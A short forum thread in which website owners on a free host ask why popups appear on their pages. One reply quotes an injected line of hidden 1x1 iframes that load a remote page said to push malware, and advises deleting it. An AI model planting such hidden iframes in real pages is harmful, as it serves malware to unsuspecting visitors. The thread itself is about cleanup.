Why is there a popup on my site? How can I remove it?

This is my site:

http://mymobile.zxq.net

Its trying to download malware onto my computer as well as trying to open a popup...

get rid of this line of code:
<iframe src='http://updateservernet.cn/tank.php' width='1' height='1' style='visibility: hidden;'></iframe><iframe src='http://updateservernet.cn/tank.php' width='1' height='1' style='visibility: hidden;'></iframe>

It is possible to remove it?

Hi everybody, I also have a popup problem on my website.

Sometimes when I open my main page (index), a popup come. This popup is a publicty or something like it. But I don't want to have it on my page.

I don't from where it comes !!

My main page is : http://oysterboy-movies.zxq.net/index.html

Please, help me.

Thank you for your (quick) answer, I will try it now. But did you see the popup ?


EDIT : Another question : You may have saw the last line of the source of my index page :

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-950416-43";
urchinTracker();
</script>"

I have no idea from where it could come ! Do you have one ?
I worry about the word "Tracker" in this script which sounds evil for me...

Thx.

I trust you, there's no problem. Thank you.

++

Im agree with you Tom. But these lines don let my page be a HTML 4.01 strict. Does someone has any idea about avoid them?

Thanks